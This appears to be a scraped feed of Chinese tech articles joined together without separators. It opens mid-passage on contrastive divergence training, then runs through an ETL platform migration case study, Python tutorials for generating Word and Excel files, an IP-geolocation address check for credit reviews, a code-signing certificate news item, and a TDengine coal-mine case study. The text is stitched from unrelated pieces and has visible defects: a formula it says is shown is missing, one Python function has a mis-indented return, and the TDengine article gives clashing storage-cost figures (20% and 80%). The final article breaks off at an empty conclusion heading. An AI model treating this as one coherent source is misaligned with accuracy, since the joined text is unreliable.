负阶段从模型分布中采样点,压低它们的未归一化概率。通过MCMC从 p(x) 中采到的点可能来自任何位置——好的数据点也好,坏的数据点也好,一律压低。把好数据点的概率推回去是正阶段的职责。

两项协同工作。第二项抵消了正阶段到处加常数的倾向,训练过程中模型与数据集的分布逐渐趋同。当二者完全相等时,正阶段在任何一点推高的力与负阶段推低的力大小相等,梯度的期望降为零,训练收敛。

负阶段降低了从模型中采样的点的概率,因此这些点通常被解读为模型对世界的"错误信念"。一个引人遐想的推论:负阶段被提议用于解释人类的做梦——大脑维护着一个关于世界的概率模型,清醒时经历真实事件并沿 log p˜ 的梯度更新模型,睡眠时经历从当前模型中采样出的事件并沿 log p˜ 的负梯度走,以最小化 log Z。

如何简化MCMC采样

MCMC的主要成本在于每步都要从随机初始化开始"预热"马尔可夫链(详见前面分享的MCMC链接)。自然的优化思路是从一个接近模型分布的分布出发来初始化链。用什么初始化?可以直接用数据集。

对比散度(CD)算法在每步用数据分布的样本初始化马尔可夫链。训练初期,数据分布和模型分布差距较大,负阶段精度不高;与此同时正阶段默默发挥作用。等正阶段把模型分布拉近了数据分布,负阶段的精度也跟着上来。

CD算法的梯度计算方式前面已经展示过:

可以这样理解:当输入来自数据时,如果模型的马尔可夫链对输入做了剧烈改动,就予以惩罚。这个估计有偏差——MCMC中 n 步之后的项被忽略了——但偏差很小。研究表明,CD丢掉的恰恰是正确MCMC更新梯度中最小的那些项。

https://avoid.overfit.cn/post/45846459329949159b3817dade6a84e7

作者:Allohvk

这个项目一开始,客户给了我一个"不可能完成的任务"——一期3个月内完成1000-2000个任务的迁移和验证,1年内完成所有近万个ETL任务的迁移。说实话,我当时心里也没底,但最终还是啃下来了。今天就来复盘一下整个过程。

一、项目背景:为什么必须迁移?

这是一个大型金融机构的数据平台升级项目。客户的原有ETL系统基于Informatica PowerCenter搭建,运行了将近10年,积累了近万个ETL任务,涉及核心业务系统、数据仓库、报表系统等多个场景。

但问题来了:

  • 信创要求:金融行业国产化替代的时间表已经明确,Informatica作为国外产品,必须在规定时间内完成替换
  • 成本压力:每年的License费用高达数百万,而且还在逐年上涨
  • 运维困境:原厂技术支持响应慢,很多问题只能靠"经验主义"解决
  • 扩展瓶颈:系统架构老旧,难以支撑实时数据集成需求

image.png

二、选型过程:为什么最终选了国产平台?

说实话,选型阶段我们看了很多方案。Kettle开源免费但企业级支持弱;DataX性能好但调度能力欠缺;DataStage和Informatica一样是国外产品,迁移意义不大。

最终选择ETLCloud,主要基于这几个考量:

1. 迁移工具链完整

这是最关键的。客户有近万个Informatica任务,手工迁移根本不现实。ETLCloud提供了自动化的迁移工具,可以把PowerCenter的任务配置导出后自动转换,虽然不能100%覆盖,但能处理掉80%以上的常规任务,剩下的20%手工调整,工作量可控。

2. 架构设计合理

分布式架构、可视化设计器、统一的调度中心,这些都是企业级ETL平台的标配。特别是调度模块,支持复杂的时间依赖、任务依赖、文件依赖,对于金融场景的批量作业非常关键。

3. 国产化适配充分

对接了主流国产数据库(达梦、人大金仓、OceanBase等),操作系统层面也完成了麒麟、统信的兼容认证,这在信创项目中是硬性要求。

技术选型对比表

维度InformaticaKettleETLCloud
迁移工具N/A自动化迁移工具
调度能力
国产化适配
企业级支持收费昂贵社区支持原厂技术支持
总体成本低(隐性成本高)

三、实施过程:踩过的坑和解决方案

1. 环境搭建与初始化

这个阶段相对顺利。ETLCloud支持容器化部署,我们在客户的私有云环境里用Docker Compose拉起了一套测试环境,大概半天时间就搞定了基础配置。

需要注意的是资源规划。近万个任务、每天数百TB的数据处理量,对计算资源和存储的要求很高。我们给调度节点配置了32核128G内存,执行节点根据业务峰值动态扩容。

2. 任务迁移:自动化+手工调优

这是最耗时的环节。我们用迁移工具跑完第一轮后,发现大概有15%的任务存在问题:

  • 复杂转换逻辑:Informatica的某些自定义转换函数,ETLCloud没有完全对应的实现,需要用脚本或者自定义组件替代
  • 参数配置差异:两个平台的参数传递机制有差异,需要手工调整配置文件
  • 数据类型映射:某些特殊数据类型的映射关系需要重新定义

针对这些问题,我们做了两件事:

  • 建立了一个"迁移问题库",把所有遇到的问题和解决方案记录下来,形成知识沉淀
  • 开发了几个通用的转换组件,覆盖了迁移工具未能处理的常见场景

image.png

3. 性能测试与调优

迁移完成后,性能测试是重头戏。我们设计了四个维度的测试:

测试维度

  • 单任务性能:相同数据量、相同逻辑下,对比两个平台的执行时间
  • 并发能力:模拟高峰期的任务并发量,测试系统的稳定性
  • 容错机制:故意制造网络抖动、数据库连接异常等场景,验证任务的容错和重试能力
  • 长周期运行:连续运行72小时,监控系统资源占用和任务执行情况

测试结果整体比较理想。在大多数场景下,ETLCloud的执行效率与Informatica持平或略优,这得益于它采用的内存计算优化和并行处理机制。但在某些复杂转换场景下,性能还有优化空间,我们和原厂技术团队一起做了针对性调优。

4. 稳定性保障

金融场景对稳定性的要求极高。我们建立了三层保障机制:

  • 任务级监控:每个任务的执行状态、耗时、数据量都有详细记录,异常情况自动告警
  • 资源级监控:CPU、内存、磁盘IO、网络带宽的实时监控,发现瓶颈及时扩容
  • 业务级监控:关键业务指标的数据质量和时效性监控,确保下游系统不受影响

四、技术难点深度剖析

难点一:实时与批量混合场景

客户的业务场景中,既有传统的T+1批量作业,也有准实时的数据同步需求。Informatica的CDC方案需要额外购买授权,而ETLCloud的CDC模块是内置的,基于日志解析技术,延迟控制在秒级,基本能满足客户的需求。

实际部署中,我们把实时链路和批量链路分开,实时任务独占资源池,避免相互干扰。同时建立了统一的数据血缘追踪机制,方便问题排查。

难点二:多租户管理

客户的数据平台服务多个业务部门,每个部门的数据隔离要求不同。我们在ETLCloud里建立了多个工作空间,每个空间独立管理用户、任务和资源,同时通过统一的管理门户实现跨空间监控。

难点三:版本管理与上线流程

近万个任务的版本管理是个大工程。我们建立了一套标准的DevOps流程:

  1. 开发环境完成任务开发和单元测试
  2. 提交到测试环境进行集成测试
  3. 预发布环境进行全量回归
  4. 生产环境灰度发布,先上非核心任务,再上核心任务

每个环节都有自动化检查和人工审核,确保上线质量。

五、项目成果与量化收益

经过一年的努力,项目按期完成。关键指标如下:

  • 任务迁移完成率:98.7%(剩余1.3%的任务因业务下线不再迁移)
  • 性能提升:核心任务的平均执行时间缩短12%
  • 成本节省:年度License费用节省约300万元
  • 运维效率:异常任务处理时间从平均2小时缩短到30分钟
  • 系统稳定性:上线以来核心任务SLA达成率99.95%

六、经验教训与建议

回顾整个项目,有几点体会比较深:

1. 产品选型要务实

不要被PPT和Demo迷惑,一定要做POC。我们当时花了两周时间做POC,用真实的业务场景和数据量测试,发现了不少文档里没有的问题。这些问题提前暴露,后面才有时间解决。

2. 迁移工具很重要,但不是万能的

自动化迁移工具能大幅提升效率,但总有覆盖不到的场景。要预留足够的调优时间,同时建立问题记录和知识沉淀机制。

3. 团队能力要跟上

换了新平台,团队的技能也需要升级。我们在项目启动前组织了两轮培训,确保每个成员都能熟练使用新平台。同时,建立内部的"技术专家"角色,遇到疑难问题能快速定位和解决。

4. 和原厂保持紧密合作

ETLCloud的技术支持团队在项目过程中给予了很大帮助。很多问题是他们首次遇到,但响应很及时,补丁发布也很迅速。这种服务意识在国产软件中算是比较难得的。

最后:做ETL国产化替代项目,产品质量和稳定性是基础,但技术选型、方案设计、团队配合、供应商支持,这些才是决定成败的关键因素。国产化这条路不容易,但走通了,你会发现国产产品其实没那么差。

在自动化办公场景中,我们经常需要批量生成合同、分析报告、项目说明书或客户函件。如果仍然依赖人工复制粘贴,不仅效率低下,而且难以保证格式统一与结构规范。

真正成熟的自动化系统,不只是“输出数据”,而是能够直接生成结构完整、排版规范的 Word 文档。包括标题层级、段落样式、表格数据、页眉页脚,甚至分页控制。

本文将通过一个完整示例,演示如何使用 Python 自动创建一份结构化的 Word 报告文档。

本文使用的方法基于 Free Spire.Doc for Python,可通过 pip 安装:

pip install spire.doc.free

1. 创建文档与基础结构

首先初始化 Word 文档对象。

from spire.doc import *
from spire.doc.common import *

# 创建文档
document = Document()

# 添加一个节
section = document.AddSection()

Word 文档由“节(Section)”构成。每个节可以独立控制页眉页脚、页面方向等属性。


2. 添加标题与正文段落

一份专业报告必须具备清晰的结构层级。

# 添加主标题
title = section.AddParagraph()
title.AppendText("2026年上半年销售分析报告")
title.ApplyStyle(BuiltinStyle.Title)

# 添加一级标题
heading1 = section.AddParagraph()
heading1.AppendText("一、整体销售概况")
heading1.ApplyStyle(BuiltinStyle.Heading1)

# 添加正文
paragraph = section.AddParagraph()
paragraph.AppendText(
    "本报告基于公司上半年销售数据进行统计分析,涵盖销售额、增长趋势以及区域分布情况。"
)
paragraph.ApplyStyle(BuiltinStyle.Normal)

这里使用 ApplyStyle() 指定 Word 内置样式,而不是手动设置字体大小。这种方式更符合专业排版规范。


3. 插入表格数据

报告中通常包含数据统计表格。

# 添加表格(4行3列)
table = section.AddTable(True)
table.ResetCells(4, 3)

# 表头
table.Rows[0].Cells[0].AddParagraph().AppendText("月份")
table.Rows[0].Cells[1].AddParagraph().AppendText("销售额")
table.Rows[0].Cells[2].AddParagraph().AppendText("增长率")

# 示例数据
data = [
    ("1月", "12000", "5%"),
    ("2月", "15000", "8%"),
    ("3月", "18000", "12%"),
]

for i, row in enumerate(data):
    for j, cell in enumerate(row):
        table.Rows[i+1].Cells[j].AddParagraph().AppendText(cell)

使用 ResetCells() 定义表格结构后,可以逐单元格填充内容。


4. 插入分页符

当报告内容较多时,通常需要分页。

# 插入分页
page_break = section.AddParagraph()
page_break.AppendBreak(BreakType.PageBreak)

分页控制在自动生成长报告时尤为重要,例如:

  • 合同分章节输出
  • 数据分析多模块分隔
  • 图表与正文分离

5. 添加页眉与页脚

专业报告通常包含页眉页脚信息。

# 添加页眉
header = section.HeadersFooters.Header.AddParagraph()
header.AppendText("公司内部资料 - 机密")
header.Format.HorizontalAlignment = HorizontalAlignment.Right

# 添加页脚
footer = section.HeadersFooters.Footer.AddParagraph()
footer.AppendField("Page", FieldType.FieldPage)
footer.AppendText(" / ")
footer.AppendField("NumPages", FieldType.FieldNumPages)

这里使用字段(Field)自动生成页码。


6. 设置字体与段落格式

如果需要自定义字体样式:

para = section.AddParagraph()
text_range = para.AppendText("重点提示:本季度销售额同比增长显著。")

text_range.CharacterFormat.FontName = "Arial"
text_range.CharacterFormat.FontSize = 14
text_range.CharacterFormat.Bold = True

这种方式适用于强调段落或风险提示说明。


7. 保存文档

document.SaveToFile("AutoGenerateReport.docx", FileFormat.Docx)
document.Dispose()

生成的 Word 文档将包含:

  • 标题层级结构
  • 正文段落
  • 数据表格
  • 自动分页
  • 页眉页脚与页码

生成结果预览

以下是上述代码生成的 Word 文档预览:

Python自动化生成Word文档


常见结构控制方法

功能方法
添加段落AddParagraph()
设置样式ApplyStyle()
添加表格AddTable()
插入分页AppendBreak()
添加页眉页脚HeadersFooters
插入页码AppendField()

总结

自动生成 Word 文档的核心价值,不只是“写入文本”,而是构建:

  • 结构清晰的层级体系
  • 可复用的报告模板
  • 可批量生成的文档系统
  • 格式统一的专业输出

通过 Python 配合 Spire.Doc for Python,我们可以在服务器端直接生成排版规范的 Word 报告,而无需依赖 Microsoft Word 客户端。

当自动化系统开始承担合同生成、客户报告输出或数据分析交付任务时,Word 文档生成能力将成为核心能力之一。掌握这一技术,你就可以从“生成数据文件”升级为“构建自动化文档系统”。

更多 Word 文档操作技巧,请前往 Spire.Doc for Python 文档查看。

在自动化生成报表时,我们往往专注于“数据写入是否成功”,却忽略了一个更具价值的能力——是否能够让报表具备自动计算逻辑。在真实业务场景中,Excel 的意义不仅仅是数据容器,更是一个具备计算规则、汇总逻辑与业务表达能力的分析工具。

通过 Python 操作 Excel 文件时,我们同样可以插入公式、控制计算方式,并在无需安装 Microsoft Excel 的情况下生成带有完整计算逻辑的报表文件。

本文将围绕一个完整示例,系统演示如何使用 Python 插入常见 Excel 公式,并解释其背后的计算机制。

本文示例基于 Free Spire.XLS for Python,可通过 pip 安装:

pip install spire.xls.free

1. 初始化工作簿与示例数据

首先创建工作簿,并构建一个简单的销售数据结构。

from spire.xls import *
from spire.xls.common import *

# 创建工作簿
workbook = Workbook()

# 获取第一个工作表
sheet = workbook.Worksheets.get_Item(0)
sheet.Name = "公式演示"

# 设置表头
sheet.Range["A1"].Text = "产品"
sheet.Range["B1"].Text = "单价"
sheet.Range["C1"].Text = "数量"
sheet.Range["D1"].Text = "销售额"

# 填充示例数据
data = [
    ("产品A", 120.5, 30),
    ("产品B", 88.9, 45),
    ("产品C", 156.0, 20)
]

row = 2
for item in data:
    sheet.Range[f"A{row}"].Text = item[0]
    sheet.Range[f"B{row}"].NumberValue = item[1]
    sheet.Range[f"C{row}"].NumberValue = item[2]
    row += 1

这里需要特别注意:
数值必须使用 NumberValue 写入,否则后续公式计算可能无法正常参与运算。


2. 插入基础乘法公式

销售额通常由“单价 × 数量”得到。我们可以在 D 列插入公式:

for r in range(2, 5):
    sheet.Range[f"D{r}"].Formula = f"=B{r}*C{r}"

Formula 属性用于设置单元格公式字符串。
只要公式符合 Excel 语法规则,生成的文件在打开后即可自动计算。


3. 插入求和公式(SUM)

接下来我们计算总销售额。

sheet.Range["C6"].Text = "总销售额"
sheet.Range["D6"].Formula = "=SUM(D2:D4)"

SUM 是最常见的聚合函数之一。
Excel 公式语法与手动输入完全一致,Python 只是负责写入字符串。


4. 插入平均值公式(AVERAGE)

统计平均销售额:

sheet.Range["C7"].Text = "平均销售额"
sheet.Range["D7"].Formula = "=AVERAGE(D2:D4)"

这一类统计函数在自动化报表中非常常见,例如绩效分析、KPI 计算等。


5. 插入条件判断公式(IF)

在业务场景中,经常需要根据结果进行分类判断。例如销售额超过 3000 标记为“优秀”。

sheet.Range["E1"].Text = "评级"

for r in range(2, 5):
    sheet.Range[f"E{r}"].Formula = f'=IF(D{r}>3000,"优秀","达标")'

IF 公式的结构为:

IF(条件, 条件成立返回值, 条件不成立返回值)

通过这种方式,我们可以在自动生成的报表中嵌入业务规则。


6. 强制计算公式结果

有时我们希望在服务器端就计算出结果,而不是等用户打开 Excel 后再计算。
可以调用:

workbook.CalculateAllValue()

该方法会触发内部计算引擎执行所有公式运算。


7. 自动调整与保存文件

sheet.AllocatedRange.AutoFitColumns()
sheet.AllocatedRange.AutoFitRows()

workbook.SaveToFile("InsertFormulaPython.xlsx", FileFormat.Version2016)
workbook.Dispose()

生成的 Excel 文件将包含完整公式结构,并且打开时会自动更新。

生成结果预览

以下是上述代码生成的 Excel 工作表预览:

Python插入Excel工作并计算


常见公式写入注意事项

问题说明
必须以 = 开头所有公式必须以等号开头
区分文本与数值运算数据必须使用 NumberValue
字符串需使用双引号"优秀"
支持常见函数SUM、IF、AVERAGE、COUNT 等

总结

插入公式的意义远不止“自动计算”那么简单。它意味着:

  • 报表具备业务逻辑
  • 数据结构具备可扩展性
  • 文件交付后仍可动态更新

通过 Python 配合 Spire.XLS for Python,我们可以在不依赖 Excel 客户端的前提下,生成具备完整计算能力的专业报表文件。

当自动化系统开始承担财务汇总、销售统计或绩效分析任务时,公式写入能力将成为核心竞争力之一。掌握这一能力,你的自动化报表系统才真正具备“可交付、可复用、可维护”的专业水准。

更多 Excel 文件处理技巧,请前往 Spire.XLS for Python 官方教程查看。

1. 用户填报地址与IP属地一致性的重要性

用户在信贷申请时填写的地址通常被用作审批流程中的重要信息。然而,虚假地址填写、地址不一致等问题常常导致信贷风险。因此,确保用户填写的地址与其实际地理位置一致,成为了金融机构审核过程中的一项重要步骤。

IP地址作为互联网中每个终端的唯一标识,提供了用户所在地区的信息,通过IP查询技术可以快速、准确地获取到用户IP地址的地理位置。将用户填写的地址与IP地址查询结果进行比对,可以有效检测出用户是否在其所声明的位置上发起请求,从而大大降低虚假信息的风险。

2. IP地址与用户地址匹配的工作原理

IP地址与用户地址的匹配工作原理基于地理位置(Geo-location)服务,通过获取用户的IP地址并进行地理位置查询,进而与用户填写的地址进行比对。具体流程如下:

  • 用户填写地址:在申请信贷时,用户提供包括住址、联系电话等在内的个人信息。
  • 获取用户IP地址:在用户登录或提交申请时,后台系统通过网络请求自动获取到用户的IP地址。
  • 查询IP属地:通过调用IP查询API(如IP数据云等),获取该IP地址的地理位置信息,包括城市、国家、洲等。
  • 比对结果:将用户填写的地址信息与IP查询结果中的城市、国家等进行比对。若两者匹配,则认为用户提交的地址真实有效;若不匹配,则标记为待审核,进行进一步的人工核实。

【信贷审核】如何验证用户填报地址与IP属地一致性?IP查询是基础核验手段

3. 核心验证流程

用户填写地址

用户在信贷平台上填写申请信息,包括住址、联系人、联系方式等。信贷平台通常要求填写的地址要准确,尤其是居住地址和工作地点。

获取用户IP地址

在用户访问网站时,后台系统能够通过网络请求获取用户的IP地址。通常可以通过如下代码获取用户的IP地址:

import requests
def get_user_ip(request):
    ip = request.META.get('REMOTE_ADDR')
return ip

查询IP属地

通过第三方IP查询API(如IP数据云API),可以获取用户IP地址的地理位置信息。以下是调用IP数据云API的示例代码:

import requests
 
def check_ip_address(ip):
    api_key = "your_api_key"  # 您的API密钥
    url = f"https://api.ipdatacloud.com/v2/query?ip={ip}&key={api_key}"
    response = requests.get(url)
    data = response.json()
    return data['city'], data['country_name'], data['continent'], data['region']
 
user_ip = "8.8.8.8"  # 示例IP
city, country, continent, region = check_ip_address(user_ip)
print(f"City: {city}, Country: {country}, Continent: {continent}, Region: {region}")

示例查询结果(城市级):

版本: V4
七大洲: 北美洲
国家: 美国
国家英文简写: US
洲/省: California
城市: Mountain View

比对IP属地与用户地址

通过比较用户填写的地址与IP查询结果中的地理位置信息(如城市、国家等),可以判断两者的一致性。若一致,则认为地址验证通过;若不一致,系统将标记该用户为待审核状态,审核员需要进行人工核实。

4. 集成IP查询API或数据库

为实现自动化的地址验证流程,企业可以将IP查询API集成到自己的后台系统中。以下是API集成的步骤:

  • 获取第三方IP查询API密钥(如IP数据云)。
  • 在后台系统中配置IP查询API接口,进行IP地址与位置查询。
  • 处理API返回的数据,提取城市、国家等地理信息。
  • 将查询结果与用户提交的地址进行比对,判断一致性。

5. 用户地址与IP属地不一致的处理

若用户填写的地址与IP查询结果不一致,则会自动标记为“待审核”状态。这时,系统会通知审核员对该用户的地址信息进行进一步核实。

人工审核流程:

  • 审核员会根据用户提供的地址、其他身份信息(如手机号、银行卡号等)进行进一步验证。
  • 若用户地址信息与其地理位置严重不符,可能会被标记为风险账户,拒绝信贷申请。

增强验证措施:

  • 除了IP查询,还可以结合其他验证手段,如手机号码验证、邮箱验证等,进一步确保用户信息的准确性。

6. 优化与改进

为了提高IP查询验证的准确性,金融机构可以采取以下措施:

  • 定期更新IP地址数据库,确保地理位置查询的实时性和准确性。
  • 引入多种IP地址数据库的查询接口(如IPnews、IPstack等),提升查询覆盖率。

7. 验证方法的总结与挑战

优点:

  • 高效:自动化的IP地址验证可以大大缩短审核时间。
  • 准确:减少了人工审核错误的可能性,提升了数据准确性。
  • 成本低:相比人工核查,IP查询的成本较低。

挑战:

  • 高精度IP查询可能需要支付较高的API费用。
  • 一些用户可能通过VPN等方式改变IP地址,导致地址与IP属地不一致。

8. 技术图表

IP查询与地址比对流程图

+------------------+       +-------------------+
|   用户填写地址     |----->|   获取用户IP地址  |
+------------------+       +-------------------+
                                   |
                                   v
                          +---------------------+
                          |    调用IP查询API    |
                          +---------------------+
                                   |
                                   v
                          +---------------------+
                          |   获取地理位置信息   |
                          +---------------------+
                                   |
                                   v
                          +---------------------+
                          |     地址比对        |
                          +---------------------+
                                   |
                  +----------------+-----------------+
                  |                                |
               验证通过                          待审核
                  |                                |
        +---------+-----------+         +----------+----------+
        |     提交审批        |         |      手动核实       |
        +---------------------+         +---------------------+

通过引入IP查询技术,信贷机构能够在用户信息提交过程中实现高效、精准的地址核实。这不仅提高了信贷审核的速度和准确性,也大大降低了风险,确保了贷款过程的安全性。虽然仍然存在一些挑战,但随着技术的不断进步,IP查询在信贷审核中的应用将变得更加可靠和全面。

全球证书颁发机构论坛携手主流操作平台,共同宣布了一项重要的变更:将代码签名证书的有效时限由此前的标准,逐步缩减至460天,自2026年3月1日起正式生效。此项调整在软件开发、物联网设备制造以及企业IT等领域,掀起广泛的讨论。对于致力于通过代码签名确保软件完整性及发布者身份可信性的开发者和企业而言,这不仅是数字上的变动,更是对软件开发与分发流程中安全性与信任机制的一次深度调整。JoySSL 技术专家针对此次新规发表独到见解,认为缩短证书有效期不仅仅是行业中的一项政策更新,更是一种应对日益严峻的供应链安全威胁、提升整体网络环境安全水平的重要战略举措。深入分析代码签名证书有效期变化的动因及潜在影响,并积极制定应对措施,是每一家重视软件可靠性和企业安全组织的必要课题。

缩减原因 网络威胁与风险管理需求激增

代码签名证书有效期由数年缩短至460天,主要受网络安全威胁不断演变,以及风险管理需求持续增长的推动。一旦密钥遭窃,可能导致攻击者利用其签署恶意软件,以假乱真,造成严重后果。缩短有效期,可有效降低私钥泄露带来的长期风险。而随着密码学技术的演进,过时的加密算法存在安全漏洞,缩短证书有效期可加快淘汰不安全的算法,采用更强大、更先进的加密技术。

几何影响 证书有效期缩减引发深层挑战

证书有效期缩短至460天,将对软件开发者、硬件制造商以及企业内部的应用分发机制带来显著影响。首当其冲,便是运维负担加剧,续期频率显著提高,传统人工方式无法维持成百上千次证书的申请与部署等工作,极易产生失误。

此外,软件开发广泛采用持续集成与交付的自动化开发模式,若未能及时更新证书,可能导致整个自动化流程因签名失败陷入停摆,交付流程的稳定性受到威胁。同时,频繁的证书更换意味着管理难度的提升,泄露的风险几率将显著增加。

应对策略 转化风险与挑战提升安全契机

面对证书有效期缩短的新趋势,制定全新策略,将挑战转化为安全契机。JoySSL专业分析师表示,可通过推行自动化证书周期管理,实现代码签名证书的自动化申请、续期、监控及告警功能,避免因人为因素导致的证书过期问题。

同时,建议企业使用硬件安全模块存储代码签名私钥,提升硬件保护等级,确保私钥无法被导出。其次,合理规划EV与OV代码签名证书的使用场景,最大化发挥两大证书的安全防护价值,应用于高度信任的领域或产品,从而实现安全性与成本效益的最佳平衡。

未来展望 代码签名证书建立持久的信任

代码签名证书有效期的缩短,体现了数字安全体系的深化演进。面对持续变化的网络威胁,仅靠静态的防护措施已不再足够,唯有利用代码签名证书构建灵活可控、自动化的安全防护体系,才能在挑战中保持竞争力,建立持久信任。

小T导读:针对智能化综合管控平台在融合大数据、人工智能技术与煤矿开采业务上,面临的子系统融合难、数据孤岛严重、数据利用率低等核心问题,以及传统数据管理方式无法适配智能化需求、数据存储 / 查询 / 分析效率亟待提升的严峻挑战,恒达智控打造了以 TDengine TSDB 时序数据库为核心的数据解决方案。该方案不仅实现查询速度毫秒级响应,将存储成本降低至原来的 20%,极大优化了数据处理流程、高效破解了其数据难题,更彰显了恒达智控在工业数字化领域的技术实力与场景落地能力,为煤炭行业智能化转型提供了可复制的实践范本。

背景和痛点

作为 1999 年成立、拥有 26 年煤矿智能化领域技术积淀的国际领先服务商,恒达智控长期深耕煤矿场景数字化解决方案。在煤炭行业加速向智能化转型的大背景下,我们始终围绕新型现代化矿山建设目标,以信息化手段推动煤炭工业向更安全、更高效的方向发展。

当前,煤炭行业正处于智能化转型关键期。以信息化带动工业化、建设新型现代化矿山是行业发展必然趋势——这既是提升矿山安全保障、实现高产高效的刚需,也是增强企业核心竞争力的关键举措。为此,融合大数据、人工智能等前沿技术的智能化综合管控平台应运而生,它可打通煤矿生产数据的采集、分析链路,助力行业向绿色、智能、可持续方向发展。

但在具体推进过程中,我们也清晰地看到,智能化建设并非一蹴而就。在实际项目落地中,我们面临着一系列现实挑战:一方面,煤矿内部安全监测、自动化控制等子系统相互独立,形成数据孤岛,各类数据无法共享流通,导致数据综合利用难度极大;另一方面,数据缺乏有效整合分析,大量价值信息被埋没,既造成资源浪费,也制约了精细化管理与决策效率,难以匹配现代化矿山的发展需求。

为什么选择 TDengine TSDB?恒达智控的场景化选型逻辑

煤矿生产环境复杂,地面与井下分布着大量传感器、监测设备和自动化系统,持续不断地产生海量时间序列数据,每秒可能涌入数千至数万条记录。而且随着智能化建设不断推进,监测点规模持续扩大,数据量更呈指数级增长。同时煤矿生产又不能轻易中断,任何数据延迟、缺失或系统故障,都可能影响安全预警和调度指挥。

在这样的业务背景下,煤矿智能化综合管控平台对数据库的要求集中在高性能、可靠性、可扩展性与易集成四个方面。数据库必须在高并发场景下支持快速、稳定的读写,以毫秒级或秒级响应实时监控与分析需求;具备强大的容错能力、备份与恢复机制,确保在任何故障情况下数据不丢失、系统不间断;能随业务发展轻松进行水平与垂直扩展,应对未来指数级增长的数据规模;同时还需具备良好兼容性和易维护性,可与现有系统无缝对接,降低集成与运维成本,保证平台长期稳定高效运行。

主流时序数据库调研对比

在选型过程中,我们对目前市场上的主流时序数据库进行了全面深入的调研,包括 InfluxDB、OpenTSDB 等:

  • InfluxDB 虽然在时序数据的写入、查询性能及扩展性方面有一定优势,但存在一些明显的缺点。在数据更新方面存在限制,不支持直接覆盖历史数据点,只能通过删除重写的方式进行更新,这在实际操作中较为繁琐。去重机制可能导致新写入的数据被静默覆盖,需要严格保证时间戳的唯一性,否则容易造成数据丢失。查询功能上也存在一定局限,多表关联能力较弱,复杂分析需要配合 Telegraf 等工具才能完成,聚合函数的灵活性不如一些 OLAP 数据库 。
  • OpenTSDB 则基于 HBase 作为核心平台来存储和检索时序数据,在分布式和可伸缩性方面有一定优势,支持秒级数据采集和永久存储。它的性能不如 InfluxDB 和 TDengine TSDB 等专用时序数据库,并且基于 HBase 带来了复杂的安装与维护流程,存储效率和查询性能也远低于理想水平 。

TDengine TSDB 的优势

经过严谨的性能测试和多方面对比,我们发现 TDengine TSDB 展现出了诸多突出的优势。在读写速度上,TDengine TSDB 表现卓越,其创新的设计使其写入性能远超同类产品,能够快速处理海量的时间序列数据写入请求。在我们的实际测试中,TDengine TSDB 的写入速度比 InfluxDB 快 420%,能够轻松应对煤矿生产中高频率、大规模的数据写入需求 。

此外,TDengine TSDB 采用了先进的数据压缩算法和存储结构,存储效率也非常高,有效节约了数据存储空间。与其他主流时序数据库相比,其能够将我们的存储成本降低至原来的 80%。

TDengine TSDB 落地实践

平台架构

我们的智能化综合管控平台以 TDengine TSDB为数据存储与处理核心,通过多层级组件协同,构建了高效稳定的系统架构。

  • 在我们的智能化综合管控平台中,TDengine TSDB 处于数据存储与处理的核心位置,与其他关键组件协同工作,构建起一个高效稳定的系统架构。我们数据采集层负责从煤矿各类设备和传感器中收集数据,这些设备包括采煤机、刮板输送机、通风机等,传感器则涵盖瓦斯传感器、一氧化碳传感器、温度传感器等。采集到的数据通过 MQTT、HTTP 等协议,被实时传输到数据接入层 。
  • 作为数据进入平台的入口,数据接入层对采集到的数据进行初步处理,包括数据格式转换、数据清洗等操作,以确保数据的准确性和一致性,然后将处理后的数据高效地写入 TDengine TSDB。
  • TDengine TSDB 采用分布式集群架构,由多个数据节点(dnode)组成,每个 dnode 包含多个虚拟节点(vnode),负责实际的数据存储和处理。这种设计不仅提升了数据存储和处理的能力,还通过多副本机制保证了数据的高可用性和可靠性。在查询数据时,TDengine TSDB 能够快速响应,为上层应用提供毫秒级的查询服务。
  • 数据处理层基于 TDengine TSDB 强大的计算能力,对存储的数据进行实时分析和处理,包括数据聚合、统计分析、异常检测等操作。通过内置的流计算引擎,能够实时处理写入的数据流,实现数据的实时洞察和预警 。
  • 上层应用则是面向我们煤矿管理人员和操作人员的交互界面,通过 Web 端和移动端,提供实时监控、数据分析报表、设备管理、安全生产管理等功能。用户可以直观地查看煤矿生产的各项数据和指标,及时做出决策和调整 。

数据模型

我们结合煤矿生产的实际业务需求来应用 TDengine TSDB:

  • 针对不同类型的传感器,我们创建对应的超级表,以此统一管理所有传感器的时序数据 —— 超级表中以时间戳为核心字段,搭配设备标识、传感器数值等信息,精准记录数据采集的全维度信息。
  • 针对每个采煤工作面,我们基于超级表创建对应的子表,同时通过标签(如工作面编码)区分不同采煤设备:既实现了所有工作面同类型传感器数据的统一管理与批量查询,也能快速定位单台设备的具体数据。

借助这样的使用方式,TDengine TSDB 可高效承载煤矿生产过程中产生的海量时序数据,同时保障数据存储与查询的高效性,为后续的生产数据分析、业务决策提供稳定的数据支撑。

落地效果

以下是我们依托 TDengine TSDB 搭建的智能化综合管控平台的落地效果,其数据可视化成果可通过下方平台大屏直观呈现:

  • 毫秒级查询响应:依托 TDengine TSDB 的存储与索引能力,设备运行状态等数据可毫秒级返回,支撑平台 “近一周运行工况排名” 等模块的实时数据更新,保障管理人员即时掌握设备动态。
  • 高并发数据写入:应对采煤机等设备每秒数十条的传感数据输出,保障海量数据实时、无积压地存储,支撑平台 “累计分析超 39 亿条数据” 的稳定运行。
  • 实时流计算分析:通过内置流计算能力,可实时识别生产异常(如运输皮带负载过高),自动触发预警并调整设备参数,保障生产流程连续稳定。
  • 数据实时订阅推送:支持设备 / 生产环节的数据订阅,异常数据触发后通过多渠道推送通知,保障相关人员第一时间响应。
  • 分级存储管理:按数据使用频率分级存储,既保障实时数据的高速访问,又降低历史数据的存储成本,优化平台存储资源配置。

业务价值

TDengine TSDB 帮助我们解决的核心业务场景有以下三个维度:

  • 安全监测:依托 TDengine TSDB 实时存储的瓦斯、支架压力等安全传感数据,结合阈值规则触发多形式告警,筑牢安全生产预警防线。
  • 设备运维:通过 TDengine TSDB 记录的设备运行参数(电压、振动频率等),对比实时与历史数据提前识别故障隐患,实现预防性维护。
  • 生产调度:基于 TDengine TSDB 整合的开采全环节数据(产量、设备状态等),支撑调度人员掌握生产全貌,优化流程并科学决策。

最终映射到实际业务收益上,达成了以下实质性成果:

  • 生产效率提高 12%-18%,减少生产停滞时间,煤炭产量有效增长;
  • 设备故障率降低 30%-42%,延长设备使用寿命,缩减维修与更换成本;
  • 人力成本节省 22%-30%,自动化功能替代部分人工工作,优化人力资源配置。

结语

